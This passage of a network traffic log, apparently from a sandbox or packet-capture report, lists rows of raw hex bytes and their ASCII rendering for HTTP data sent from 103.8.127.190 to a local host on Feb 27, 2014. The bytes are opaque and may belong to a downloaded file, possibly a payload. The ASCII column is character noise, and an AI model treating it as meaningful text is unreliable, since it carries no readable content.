Feb 27, 2014 17:55:41.091536045 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4b ff 0a 98 d7 23 0e 1b d1 6d 6a b0 17 68 c2 db dc e1 c5 6a ae f1 56 fe a6 2d 6a 85 5a 6a 18 2c 65 0c 31 fc 06 fe 52 ba 36 f9 ff 8d ca 51 01 68 39 68 6a 46 7c 8d 47 1c e1 d9 f7 5c 07 d2 1d 68 2a 2c 6a 67 10 c9 ca b2 7f 5b 1b c5 77 f2 6c 8d 17 06 Data Ascii: K#mjhjV-jZj,e1R6Qh9hjF\|G\h*,jg[wl#osWB1FQ">=iTNz@d%Pys'.k1!t8hQJ;NzL%y52TWyW//hQ\|hugbbIhThp+	423
Feb 27, 2014 17:55:41.124356985 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 58 ba 3b 6d b4 ba bb 7a 40 a5 97 57 02 ac 3f b8 7b 71 9a f9 5d b2 54 94 fe ce e5 a5 7a 89 b6 b9 58 2c 60 f8 ea b8 03 f9 13 52 a6 dd 78 7c 6b cd 0a 1c 24 b4 4f 67 47 f8 77 ac 17 11 80 c4 a9 ea 0a 61 90 f1 5e fc 17 fb 57 44 f4 19 1d ac 95 e2 9d dc Data Ascii: X;mz@W?{q]TzX,`Rx\|k$OgGwa^WD>a{:g~$EBW^@UJf_(p4gT?GWJ"0iWJT$6!{VGw6?BcMV/Qk(%xM@	424
Feb 27, 2014 17:55:41.124363899 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 56 8c 57 40 07 0e 07 3c 2f d9 e7 f1 37 f5 d5 ce 6b b9 57 2d a6 ac 4f a1 36 0d 95 b9 3a 6e 14 19 70 28 36 97 85 7c 17 d0 e1 a4 b8 1f 03 69 36 93 d2 dd d7 e9 78 38 25 58 1c 8d 96 f4 b8 ac 57 c8 7e 03 7e 89 7a d5 13 b9 f0 18 36 ad 6f aa b6 9a 0a a9 Data Ascii: VW@</7kW-O6:np(6\|i6x8%XW~~z6ohZo_kA A)"J,Ho:6(Zh69ACb;Wl3^dTJB(Z%c5FlhiJN12ck\|W5KJ5^5\|NZ7nW	426
Feb 27, 2014 17:55:41.124376059 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 0a 49 17 9c 74 44 03 11 5e ec 17 f9 5e f0 3b 1f ef 59 73 b8 8a 67 71 d6 5e 70 a8 f9 8c ac 2d f8 4a 2f 43 fd 3a cd 11 f9 0a ad 17 3c 1a 44 56 b9 42 f7 87 f9 78 e9 f2 b1 5e ec 47 f9 4a ac 21 cd c4 d9 a3 c8 e7 aa 08 f9 f2 ad b0 b1 a7 89 98 20 52 69 Data Ascii: ItD^^;Ysgq^p-J/C:<DVBx^GJ! RiJpoaJJyGJB&yWTWln'^W,S3//JbEj]s8nyGv^/QMw fL:vh'xg,GJw\|	426
Feb 27, 2014 17:55:41.146075964 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 92 cc 73 ae 59 bf c6 98 7d 9d 54 fc 49 fb 48 eb 9d d1 24 17 54 a1 7b ad 91 73 dc 0f 57 34 5b b3 76 f9 e4 4c 11 b9 54 29 73 90 4b aa 9b 6d 75 f8 00 7a 94 04 07 4d 8f 04 77 3c c6 ed 07 f0 6a 13 70 ab 5a 8e 13 74 0a 2f 37 69 56 47 80 aa ce 27 df f5 Data Ascii: sY}TIH$T{sW4[vLT)sKmuzMw<jpZt/7iVG'E}{CoM'WfJ=)w'#37ZKjbtyy8R)sJ4>~,'=R1/QXBR%WaRZFHSNk0%2f23_TFX.1	428
Feb 27, 2014 17:55:41.146092892 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 68 79 0a af 7f 04 ef ef 9d 8c 68 ec 53 ee 96 d2 56 c2 bc 8d be 79 08 61 31 19 bc fe 25 ec 68 ac 1e dc c2 98 ed 49 0a 04 97 a8 ba b4 39 af 7e f4 71 db 4a 1a 4b ae 0b 85 9d d5 7e 2c e2 be dd 63 25 97 73 28 35 b9 87 56 7d 14 cf 9c 10 db 79 2c 74 05 Data Ascii: hyhSVya1%hI9~qJK~,c%s(5V}y,tV5 {K5\|pY+h;lvj"%J\\i!2,Veus5]:!uQ'o8a7=#:Vo)aD%reI?hnZJvf5^	429
Feb 27, 2014 17:55:41.146213055 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 5c b0 02 b8 57 f9 1a ac 17 fd 0a ec 51 92 4b e9 96 84 2e 24 4a b9 01 2e 1f 99 eb 06 11 79 e3 96 57 56 4a f7 93 f0 ab e7 b3 b9 50 a8 69 34 8c 2d 6c 9e 1a c8 57 f9 20 80 32 f4 f0 aa 46 b9 4e cc e0 bf ce 8b 55 a9 f4 03 13 b9 a4 aa 93 a0 da ea a4 9d Data Ascii: \WQK.$J.yWVJPi4-lW 2FNUKQ<8[fJt\|J/E${=k>J);l(K*F('QzWJG"\|1i"W"\|LbtQ,Wu,\hL<z@U(H[ 1n\|\J]MQ~p&).	430
Feb 27, 2014 17:55:41.156968117 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: d7 5b 7a ec 16 f0 9c a6 57 d5 ec e8 53 79 54 f6 c7 c3 ae ec a8 9f 0e ac 3b b8 82 91 13 30 0a d4 16 fa 0e b5 76 fb 39 8a c2 b9 5a b1 94 01 f0 c9 53 fe 28 f2 17 b9 7b 5d 62 f5 0e a2 eb fd 0a 9b 71 bc cc 83 1f f1 9b ec 21 b9 ec 42 39 75 ac e8 f3 f9 Data Ascii: [zWSyT;0v9ZS({]bq!B9uHW#/jZJS WiQ$WbIc]}nm4j\(1kP^VH;PNWy^[]8&EByml#>}u0	431
Feb 27, 2014 17:55:41.167992115 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 3d f1 4a 36 7d 76 1a ec 9f 0a 24 ad c3 d9 db a0 11 a7 0a 2b 79 d9 7b b9 dd 90 28 1b 9e 2f 89 2c 33 a1 13 a7 1d b9 4b 89 36 f9 2b ac 11 b7 e1 ac 57 f6 5a b7 ca a4 20 fa 36 1f 62 ec 17 3f 4d f8 23 2b e2 34 57 fd ad b0 43 d8 0e b1 3d 22 f0 a4 57 b9 Data Ascii: =J6}v$+y{(/,3K6+WZ 6b?M#+4WC="WY7Y{T,Ep\4Lj]W@Fyk\|bWERJ+*g,OWz6;9I!J,_WOSBb@GYW!K5qY0z>pKNMhI\|/h&H>	433
Feb 27, 2014 17:55:41.168008089 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: dc f8 4e 22 57 82 b8 98 e7 1d 70 ac 29 b9 d2 a3 97 94 84 d4 16 7c da fc 57 8e 92 ff a7 3b 5a bc c0 b9 6c ea 86 25 1a b6 57 1e e7 f7 57 b2 f4 29 87 90 4a 40 31 f4 56 ec 88 79 5e 2c c6 3a 2e aa 57 b9 89 aa 84 f9 4a 2e 53 fd e4 ec 17 68 6a 52 59 a0 Data Ascii: N"Wp)\|W;Zl%WW)J@1Vy^,:.WJ.ShjRYPm0{L??h}5W>]Qk@S],O>WZh&pW2@< GWb<JCv< HPv`wC_Z#*rdCG"WJ$	434
Feb 27, 2014 17:55:41.168143988 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 5f 9f 98 46 50 b9 d8 39 35 f9 fc 08 a1 0a fe 44 57 2b 4a 26 d0 8e 4a ba 99 b9 32 ed 01 da 37 9f 99 a3 ac 0a 35 52 4a ec 4c 6d a2 34 d3 79 3e a4 57 0f 89 4b 9a 58 da d4 46 f1 0a ec 45 ef 68 cf 81 3a 20 a4 e8 b9 06 69 36 59 02 26 8f f9 59 65 57 17 Data Ascii: _FP95DW+J&J275RJLm4y>WKXFEh: i6Y&YeW5HZD!5Jghu"tC$<w?kGGXdW7)%"WH{t6uWnOZ5O[qW,rI>~DA!,o5Sj6	435
Feb 27, 2014 17:55:41.201322079 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: dc 39 57 dd 4c 9f d2 fb 08 b8 34 82 fd ec 57 99 fc 2c 2c 88 01 c0 57 22 72 9a 34 f9 4a 42 e7 e9 e2 ec 4a e1 5a fd 6f 10 87 29 34 81 0a 42 57 e9 c0 7e a0 b8 5c ea 34 b9 4a 32 93 91 63 3e 55 34 0a cc 0c 77 63 44 15 59 9f 3e 34 7e 6a ec dc 8a 0e 8c Data Ascii: 9WL4W,,W"r4JBJZo)4BW~\4J2c>U4wcDY>4~j-2r0]\|\|421jj;j4JWvqN<[/i%BRWF+x\|qe{8i>-= .	436
Feb 27, 2014 17:55:41.201329947 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6f ea f8 9c 38 2d df bd 1e 3e 6f 6f 4b be 32 bd 4a ec ec a2 22 fb fe bc da ec 57 72 bf 68 17 5d 4c e8 50 b9 d7 ec 05 8a 48 98 13 bd 34 2c 77 8e 0a 1e 27 38 95 8a 53 79 46 12 2c b9 d5 d6 ed 9c 0e ac e2 01 c3 99 57 a7 cd e0 15 35 4e e8 d2 43 37 ec Data Ascii: o8->ooK2J"Wrh]LPH4,w'8SyF,W5NC7zT:m>W{N>arl_?y%-8>H8TLWY` vqW`KRw(q.KHTWoTPNb7	438
Feb 27, 2014 17:55:41.201333046 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 72 47 a9 3f 28 fb 1f a5 9a ef c1 c1 23 17 e5 aa ca 3b 19 cd e8 f0 bf 04 de 94 17 dc a7 da 32 bb 88 ec 1c e9 c7 d5 7c ea ec 94 47 82 cb ac fa b4 87 48 53 3e 14 ea 07 2b 7d da e7 8c 6b b5 56 cc 4a 5b 31 98 bc 04 55 ae 13 a4 8c 3f 9a 48 36 09 2f a8 Data Ascii: rG?(#;2\|GHS>+}kVJ[1U?H6//6A\|~#,d_7ykZ!.NkX7eVl~JaYVVDUjijZ8s5QhWR,do_Rp,(MhuNXk(kWr	439
Feb 27, 2014 17:55:41.201492071 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 5e ac 97 0c 5e 9e 59 e1 ca ec 15 ac 4b 2c 5a 96 b3 9c 13 dc 51 2e 17 b9 e0 c9 1c 1d 7e ec 5f f1 a2 ac 47 f9 41 e4 6b 82 25 a4 7d b9 0b ae 97 3d 85 99 39 f9 75 af 7a c4 ae ac 03 b9 48 44 97 97 25 9c 17 2b fe 71 17 0b b3 80 3a e9 50 a5 7d e8 4a 84 Data Ascii: ^^YK,ZQ.~_GAk%}=9uzHD%+q:P}J^,:-DwwJ!}z(J^{JAHcf8c+D1Jt+WryyByPJ.80J_=?>\m	440
Feb 27, 2014 17:55:41.201497078 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 87 e5 54 9d 09 c9 1f a9 d8 e8 f2 db 0b d8 79 d3 42 da 5c bc dc 8e 14 c5 aa dc 13 b9 82 e9 35 e1 f3 85 c4 92 cb 9a 35 e0 37 b4 75 49 56 b9 35 b9 0a 9b 59 b1 00 35 b1 d8 fb ac 3e b9 2d 0c e4 4e f2 99 15 d1 ee 8d 25 04 c0 3c 66 b2 4b da 36 4b 02 83 Data Ascii: TyB\557uIV5Y5>-N%<fK6KAf\|kRxWZY6t~1rWJ$Fqkcd$y8k6:2$7cNCJ^NZL?keL3i!?Ne{7z_k#P:Blkq`CB~j*9	442
Feb 27, 2014 17:55:41.201622009 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 1a b8 03 ed 4a ac 75 38 64 14 bf 2e 48 12 97 b0 02 fd 22 bc 6b ec 17 ab 4a ed 17 11 5e ec 29 f1 9a ac b5 b4 31 2d 89 a8 9b 80 97 52 6c ec 5f 11 4a fc 17 d5 4a ad 47 02 29 05 36 84 44 ac 28 d7 ee 06 55 b9 0b e4 16 f8 82 99 ed aa 36 8c 09 79 4a 4d Data Ascii: Ju8d.H"kJ^)1-Rl_JJG)6D(U6yJMDV#[o*iJ_^WcvJrJ_Js\;Z%gRLJnEHupo3D8oJy{#uxXT]Ju]VD/2	443
Feb 27, 2014 17:55:41.212214947 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: de c5 3d a4 66 4f 75 e9 a7 20 ca 3b 4e e9 d6 b9 49 ac 46 81 5e cf 93 f5 a3 cb 16 5f 0f a8 14 89 78 4f 5f 53 42 da 3e 79 0f e9 98 dd 05 ce 37 15 be f1 09 ab 6c e9 33 a8 4a 6d 07 ad 50 45 05 f8 d1 ae 1d 3d 0f fe 33 b6 32 e6 56 fb 4e 89 52 b1 1e 04 Data Ascii: =fOu ;NIF^_xO_SB>y7l3JmPE=32VNRH]0pePrj#~r7y,JhVMmu2A8H2@iq-0zq@yW/WlT+(:<zUyKVW4	445
Feb 27, 2014 17:55:41.212232113 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 3a bd f2 d8 69 1b 57 f9 ba 60 40 a3 1a a1 52 aa 48 49 31 db fb e8 38 88 64 20 37 da 8f 40 69 2a 4c 8e 8f b1 4a 49 33 41 99 f5 b0 a5 0c bc 14 d8 a7 8d 31 db f6 e5 a5 f9 53 1e 32 dc 46 3e 9f 9a 42 d4 d5 eb dc 8e 4f a0 11 33 17 a4 ab 2f 56 cb b8 57 Data Ascii: :iW`@RHI18d 7@iLJI3A1S2F>BO3/VW"OQh,~K]hfn_hEZJ5zWc]Juz!,h16J]B-QitOh%@Z\|:5@WDP5Jt	446
Feb 27, 2014 17:55:41.212234974 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: c3 9e 97 44 a5 7b 47 99 2e bb 91 70 6a 18 9e dc 12 6d 92 70 41 5d 17 c1 87 1d 35 70 ea bc b3 d9 4f 78 f6 b9 38 aa 51 7e 36 ec 18 dc 04 b6 b0 eb ee e9 10 f9 9d ff 3a 7a 46 98 6c 6f 42 89 dc d8 8c e9 00 50 45 04 97 64 7e c1 19 01 43 f3 92 bf 4a 8f Data Ascii: D{G.pjmpA]5pOx8Q~6:zFloBPEd~CJ9dPGYf-M(QvIC^ojAZP\|QgjsFJ^q=#'MKQCUesxL"DM.ZQ5RO)4G;RYq7S1QnJy[	447
Feb 27, 2014 17:55:41.315211058 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: c1 f9 f1 70 91 be 4a 54 55 e5 4a 5f 56 7e fc 2c d6 83 1e 90 1c 98 cb 69 5f f9 b5 13 c6 be 0f 68 4b 9d 42 5e 26 83 2c e4 3b 40 02 ce 17 70 b7 e5 a9 34 ea 7d 6b fb e3 e9 5f ec 0a 8e 15 f1 69 8c 57 3e 22 e8 a3 5f 02 b1 4f f9 45 71 fc a1 08 c4 55 24 Data Ascii: pJTUJ_V~,i_hKB^&,;@p4}k_iW>"_OEqU$NM~'vYL+1mTBw*H_;z)jp6}h5uMQDO7ZWeP@13i#c2,+Q~Ll,PZ}{PLB[goGG7,o~	448
Feb 27, 2014 17:55:41.315228939 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 72 e2 84 4b 26 b9 0b 6c 73 83 8a 45 81 d8 12 ac ac c1 24 8e 5d 9d cd 3d 56 4d 6b 42 9a 17 33 e1 61 d8 8c bc c9 ae 7e f4 52 d8 86 72 75 f9 31 c8 e6 5e 54 b7 8f ea 42 fb 1e 22 6d 41 ad b9 1d c9 97 18 5b 79 ab 9b 53 17 c3 d8 4a ce 53 d1 b7 db f2 2c Data Ascii: rK&lsE$]=VMkB3a~Rru1^TB"mA[ySJS,Hn,K#a8{P'66{6$ho96{y2d%\|`GW1V#Jx1Y'q;N2X*kp2n.7&>/j}l3P:K2:FUu~}I	450
Feb 27, 2014 17:55:41.315231085 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 97 fc db ce c4 69 3e b1 d1 bc 0a ec 5c 92 25 e8 39 3c 0f 99 17 22 6f 13 70 f0 03 ae f0 f8 cc e9 d3 f0 02 9a 47 ed c2 ae 5c 7d 0f 20 c0 31 ce 80 59 e9 c8 cd be dc 2c e9 42 1e 13 8c 46 29 b5 8f d1 dc 0f b3 73 f9 9b a2 b6 e9 8d 99 ef ed 48 20 53 bc Data Ascii: i>\%9<"opG\} 1Y,BF)sH Ss7oLJ#Vk-1rhvd -B@kqpWfU(IQJ}}b&3KFZZyBPlBWLHZQRJ0((1S#?yw\kEjS\|#}J	451
Feb 27, 2014 17:55:41.315346956 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 0a b9 7c 25 4e 95 05 f3 95 54 0c 8d 32 b6 2a 75 76 0f 6a ac ce c6 b1 ec aa 6d de 41 1f a0 68 6c e2 d9 69 eb 29 38 4a 68 ae 2c 4d e9 a8 18 10 ae 6d af 6b 9f 01 bf 0a 2c b0 fd 34 aa 73 d8 1b 6c 53 8a 39 ec 0b a8 69 cc 0e 4f ec 8d db 79 22 2d 17 45 Data Ascii: \|%NT2*uvjmAhli)8Jh,Mmk,4slS9iOy"-EhHk!k=_k3S_uCJyh0hIHh-J&@YxYhN0iw`KJ5-rsWW`$~i5@s_hz6)+Fp5l2!	452
Feb 27, 2014 17:55:41.315355062 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 03 f9 5e 5b ae 45 c7 b8 94 0e 1a 24 bf fc 6f ad b5 f9 4a f8 08 f9 0a 12 03 d1 e6 d2 3b a1 ca ad 8c e4 03 79 47 b9 4a 84 17 f9 5e ed 57 06 69 a2 57 69 08 32 eb 83 4a a3 ff ed 4a ae 17 4c 64 ee 13 19 db fd f7 f1 eb e9 ff f9 29 ac ff f9 4a ac 57 ef Data Ascii: ^[E$oJ;yGJ^WiWi2JJLd)JWfru^_J]=La,W!JlCJ]gKjS"FNw]5OJVK,tJs\GVy+jnuD}!^;:_JGJ_8	453
Feb 27, 2014 17:55:41.315359116 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 0f 31 1d 05 6a 79 a1 d3 08 21 1b b0 b9 bf 52 ac 77 42 92 8c c1 42 38 f0 27 da 5b d3 79 99 66 4e 49 29 65 ac 6a bf ea 7c 6e 39 82 be 07 8b 66 09 68 9c 15 9f 6a f1 4a 17 53 60 8c 64 22 49 42 ae 1d 7f 15 28 59 31 35 ea 4b f1 46 15 41 dc 15 f8 fc 39 Data Ascii: 1jy!RwBB8'[yfNI)ej\|n9fhjJS`d"IB(Y15KFA9V/5TZHBo{fzoe&?lB_7O+V,_hGkh8&@N0e&-KZp;nhJbIMzf&h	455
Feb 27, 2014 17:55:41.315622091 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 7a 04 e2 85 13 b1 62 1a 36 ee 3a 8c e9 4f 4b 1a 36 3d 52 ee da f6 e2 e6 17 b8 09 fd 58 7b 22 e4 22 f8 1c 8e 39 2b 75 a8 79 59 ea aa 94 b9 0c 58 36 03 06 fd f1 b6 ca ed 6c 8d e6 25 5f f4 7f 8e 17 6f af e8 Data Ascii: zb6:OK6=RX{""9+uyYX6l%_o	455
Feb 27, 2014 17:55:41.326705933 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 05 eb e2 e6 dc f1 12 fc 20 bd 68 ee 63 bd ca ac fc 37 23 7a 13 3b 09 bb 1f a9 1a fb 73 db de ed 43 a4 4e e7 25 af 68 a2 59 a9 1d 84 1f 1f 8f 80 21 db 02 38 d2 cb 4a fe 56 d6 b9 4f b2 cd f2 a8 df 31 0f 8e 58 a8 04 b1 16 b9 15 27 84 db 1a 30 01 db Data Ascii: hc7#z;sCN%hY!8JVO1X'0AV.GoBDJvg;)Dg^dU_#5}.`^JDnQxABJ`V^^#^^O3KJS[HJV>'{iYvJJ)/	456
Feb 27, 2014 17:55:41.405735970 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: ed f9 c2 88 50 dc 58 1f af 6e 4e 60 98 bf c1 31 59 87 49 b4 97 99 29 38 47 21 c2 47 71 bf 4a c9 4a 6e a6 91 aa 50 aa bc d4 53 ca a3 72 bf 98 c6 c1 79 cc e7 50 71 83 bd 05 ff 0d ac 93 e1 b4 60 56 c2 46 44 37 89 c5 2a e6 98 ee eb fd 70 5a 92 80 f7 Data Ascii: PXnN`1YI)8G!GqJJnPSryPq`VFD7*pZPQj17.B,a[N#\|772,4tJ6\|2K:Rzq+3+Wq_,Ny9>D7{X.w~\|D}:%#lt8	458
Feb 27, 2014 17:55:41.405841112 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 8c 86 79 8e 97 45 a8 81 a4 c5 21 95 f2 d8 4a d0 b0 07 1a 07 cd 5d 7f 8c 87 94 b6 95 aa 2f 6b 4a d7 f9 40 ad bf 18 7e 85 09 50 6a 17 da ef 48 85 e1 d8 6a f8 17 f3 09 7b 06 0b 52 85 6d fb d2 ba 35 75 aa fc 86 b3 e1 ec f7 4f 7c ac 18 27 cc 8e 34 79 Data Ascii: yE!J]/kJ@~PjHj{Rm5uO\|'4y%~\h,qT,h5XFPA"i(EkoW,9eQZ5sRuKhX"$XH]huHq.~a0N	458
Feb 27, 2014 17:55:41.416697025 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 04 ec de 4c 68 4a 6f 26 42 99 f2 ab 3c 8e 6c bd 55 eb 17 a9 78 b6 f5 4e 59 07 ec f8 0e 8e 4b 8c 05 81 85 b7 c6 8c 11 75 7e 6e 69 dc 68 19 8b f9 83 20 dc 85 f4 af df f7 48 e9 21 db 0f ca 93 00 4e 06 37 4f 12 a6 9d b0 7f 8e db 08 4a d4 b9 75 40 04 Data Ascii: LhJo&B<lUxNYKu~nih H!N7OJu@! @h\|ChulqZ6J=(Ql@c44=\8:*!J8K?oI\|h'%iH3I#eP0\ZXZ5{oQ2)2>4?rd44	459
Feb 27, 2014 17:55:41.416704893 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 5f eb 3a 9c 11 ae 2d 3c c1 d2 96 d5 48 83 01 d9 e1 ec 23 30 08 aa 9c c8 7e a4 11 9c 9c 29 9f 32 68 65 f2 fd 42 04 91 7f d4 94 75 a1 f5 ac e3 65 59 01 de a0 a6 dc 13 c4 62 e8 54 b1 ac 9a bf b1 6a d3 26 1f 7c 39 d1 bb d7 66 97 c9 e3 04 d3 46 94 6c Data Ascii: _:-<H#0~)2heBueYbTj&\|9fFl2JhUJUdYxaJVHqW):$TJlESOC\|L"v(Q~aRtKSh/J+Yo\LP-1*JQ58e	461
Feb 27, 2014 17:55:41.416848898 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 68 9c 6b 25 6b 93 17 cf 63 96 da 9c e2 8a e5 fd 2a e1 01 da 52 4d 80 c4 84 ac a8 bf f3 f3 57 c4 99 65 15 d0 ec 8f e5 ca 38 60 3e 79 49 8c 64 3a 69 ae e4 31 63 6f 51 f1 9d 8f da 8f 69 c4 57 26 96 a8 13 f1 be 8e 16 ad cd 0f a5 f9 f4 a8 5f d0 46 33 Data Ascii: hk%kc*RMWe8`>yId:i1coQiW&_F3NBiWWO[4J:?!"Ai`a\![%K4DIL.9oRJ?8OiNJxY7KY4.5 Wk,Nai0PCW{o4JL)&h4s:6	462
Feb 27, 2014 17:55:41.427601099 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 89 40 95 99 cb b6 70 f9 5c a8 ff ed 4a ae 5c 63 82 0c 5d ff df ad 9c f9 da ac 57 e2 f5 ae 17 ff 8e d2 d6 d0 06 b8 03 fd 5e e4 17 a9 0b 33 55 24 78 a0 f2 87 4a 7f 17 d5 4a b8 03 9d 6a f0 56 51 e2 fc 96 cd 4a 44 17 8c c7 6d 09 96 e2 bf 07 f9 c2 67 Data Ascii: @p\J\c]W^3U$xJJjVQJDmgg9N{RDOE,9JJX[,]P,wQ0uDJgJYGY JWEJ_JGJA.?oPRKx+MRWh,JZ=AaJ_	464
Feb 27, 2014 17:55:41.427618980 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 0a ce 43 d1 a8 27 37 b1 81 ec a3 6d 1f 8c 04 bb 42 4b 17 55 8e b3 57 70 a5 f6 97 ff 29 cb 76 b9 1a 7b e3 e6 4a c8 e7 73 20 9d 57 9d 9e 2c 21 99 74 58 82 b9 a7 ea 37 f9 1a 8b 8e a4 7e f6 57 00 48 07 21 d9 78 b8 c7 d7 f7 ec 97 91 31 ec 29 7c 01 b4 Data Ascii: C'7mBKUWp)v{Js W,!tX7~WH!x1)\|"J"KhW]j V@WwjhfHbWq[:7W}LKjW8B{WrnepZqvO7yjf4jW""[o9X{}7:Yn	465
Feb 27, 2014 17:55:41.427623034 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 0a a8 0c 6d f3 ec e3 6f 69 68 17 25 65 10 17 99 2a d4 65 11 5e ac 56 f9 4a fc 03 ed 0a c0 4d 10 4a fc 5e 11 5e 44 03 b9 4a ac 03 98 21 ec 27 ba 0e df 17 72 02 c0 57 c4 65 a3 03 f9 0b b8 ff 11 4a ac 03 11 4a 13 71 2c 8e ec 5f b2 3d ac 95 98 f5 ac Data Ascii: moih%e*e^VJMJ^^DJ!'rWeJJq,_=WDWRbhJWJwaJJ_yTW2`Ar PW(Zj^0gjX"<(_KJ2W)H2jH}DJcFZWOp6D	466
Feb 27, 2014 17:55:41.438534975 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 41 ec 6f 98 11 c1 a0 d9 32 39 57 1d ba eb 50 4d 54 ac 54 52 0a 3c 4d 39 3b 65 07 73 ae ec a0 3f 0d 07 e4 7b 6a 8d 37 3d 0a 01 31 be 3c a6 97 d2 dd d3 a9 b9 0f 90 91 be 4a e2 34 db 31 f3 57 21 9e 2c 35 f9 5f 0f c2 b9 17 09 50 f9 06 f2 e7 5d d7 82 Data Ascii: Ao29WPMTTR<M9;es?{j7=1<J41W!,5_P]WZP(_A9W.W09j^8_H93eu7$j3EWX3^1cW,=/qZxy*3,@eKpMjZ( ^=}`\|~~@W	468
Feb 27, 2014 17:55:41.438551903 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 1c 3a 33 d9 2e ec 76 34 43 18 37 a4 2d 2c 46 31 0a dd dd b7 a0 da 37 d9 53 03 1c b9 d2 c9 37 28 4b 2c 93 85 32 bb 57 f9 b5 08 37 f9 79 ad c0 29 9e ec 56 ad ca ec bf b0 fa 09 57 5d 4c 8d 57 dd 5a 90 60 73 63 0b bd 34 42 02 23 ae 09 8c 20 47 c2 ec Data Ascii: :3.v4C7-,F17S7(K,2W7y)VW]LWZ`sc4B# G9Jq]Z9lwFFn,kPJfU.sZL)ZyU>I_kZ26T:U`6/FWXA	469
Feb 27, 2014 17:55:41.438707113 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: bb 03 ef 69 0a be 37 d3 07 3b e7 d3 cc 25 de b9 4a 6a 56 73 53 18 fe 41 0a ee e3 ff c1 86 36 98 54 6c 33 a9 48 d8 52 73 00 e3 87 5b bf ec 07 52 1e 09 74 fd c0 16 43 2e 4a ec de 30 66 0a 11 bd b0 b4 57 11 42 ec 62 fb 0f 00 d7 ba 0a f9 57 1c 20 ec Data Ascii: i7;%JjVsSA6Tl3HRs[RtC.J0fWBbW ?du]NW,*'i7{zW6I7W(J2iAcWyJDw,W&[KdR}pH3WO8zJsG-!bW	470
Feb 27, 2014 17:55:41.442626953 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: d6 66 a5 21 42 b1 89 d8 9c 8f 01 9a ed 73 07 a9 01 8a 10 fc 6e 95 56 9a 42 29 57 35 bc 8f 24 65 d5 10 13 40 81 18 34 2e f6 14 82 1b 0a 78 4e fc 48 09 c4 1f 69 ac 07 ca 53 d0 52 6c 69 8a 4c 08 4a 57 17 35 12 e6 1b 47 1a a4 a3 db 85 68 34 fd f7 b4 Data Ascii: f!BsnVB)W5$e@4.xNHiSRliLJW5Gh4Fq7EtK:4:\|%\@me-z\li)iJU9:4c&VgBwDWj*4zJb\%vrT+hX`L\DNiVo#l{	471
Feb 27, 2014 17:55:41.449381113 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 27 d5 48 ee 81 db d7 07 16 95 06 cd 57 51 6d a1 5e b3 16 7a 35 15 4a b0 58 65 79 9b 4f fd a1 a8 46 fb 89 8e 31 bd 5e 62 74 e9 cf 8c 47 57 4f 8f c9 d3 ab 2c 59 e1 2b ce 18 d8 19 6a 35 79 00 ec bf dc a0 82 0b bf 68 ac 8b 17 2a d4 c6 81 cd 9f 07 17 Data Ascii: 'HWQm^z5JXeyOF1^btGWO,Y+j5yh*hi]NmkXen2[vV,\|`g5_tm3M_T"+,uj5nTcSoAUY-jo-BP=!tVNgh{z.k/2	472
Feb 27, 2014 17:55:41.449398041 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 77 bf cc 60 17 fd aa 1a ac 0d 4c 69 02 fd 76 99 92 7e 2b 0e be 32 da 2c 33 28 c9 99 19 89 3e e8 90 f9 69 a0 7d a9 78 4b 25 52 4e df 73 7d cd 75 b9 51 bd a4 17 66 aa 6d b1 b7 09 c6 8c fb 09 6a 9f b1 85 3d c7 b4 8a ac 3e cb 79 cd 73 38 31 69 15 58 Data Ascii: w`Liv~+2,3(>i}xK%RNs}uQfmj=>ys81iX&z^~Nt\|ysJdw\[`Z',YV:ZNzb0}B%nyFdro[x!>qrCM2lh!	474
